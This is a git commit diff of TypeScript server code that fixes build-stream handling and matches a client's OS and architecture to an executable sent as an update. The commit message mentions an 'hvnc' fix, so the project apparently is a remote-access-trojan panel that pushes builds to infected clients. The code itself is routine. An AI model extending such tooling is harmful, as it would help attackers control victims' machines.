fix hvnc issue, fix build watcher issue, fix wrong type of exe being sent on updates.

This commit is contained in:
KingKDot
2026-05-05 19:31:55 -05:00
parent fefa30e7b9
commit ec62401911
12 changed files with 193 additions and 81 deletions
+9 -6
View File
@@ -190,20 +190,23 @@ export async function startBuildProcess(
logger.error(`[build:${buildId.substring(0, 8)}] ERROR: ${data.error}`);
}
build.controllers.forEach((controller) => {
const alive: ReadableStreamDefaultController[] = [];
for (const controller of build.controllers) {
try {
controller.enqueue(encoded);
} catch (err) {
logger.error("[build] Failed to send to stream:", err);
alive.push(controller);
} catch {
}
});
}
build.controllers.length = 0;
build.controllers.push(...alive);
if (data.type === "complete") {
build.controllers.forEach((controller) => {
for (const controller of build.controllers) {
try {
controller.close();
} catch {}
});
}
build.controllers.length = 0;
}
};
@@ -800,7 +800,7 @@ export async function handleBuildRoutes(
continue;
}
const clientOs = client.os?.toLowerCase() || "";
const clientArch = client.arch?.toLowerCase() || "";
const clientArch = (client.hostArch || client.arch || "").toLowerCase();
const clientPlatform = `${clientOs}-${clientArch}`;
if (!targetPlatforms.has(clientPlatform)) {
skippedNoMatch++;
@@ -885,7 +885,7 @@ export async function handleBuildRoutes(
}
const clientOs = client.os?.toLowerCase() || "";
const clientArch = client.arch?.toLowerCase() || "";
const clientArch = (client.hostArch || client.arch || "").toLowerCase();
const clientPlatform = `${clientOs}-${clientArch}`;
const buildFile = buildPlatforms.get(clientPlatform);
if (!buildFile) {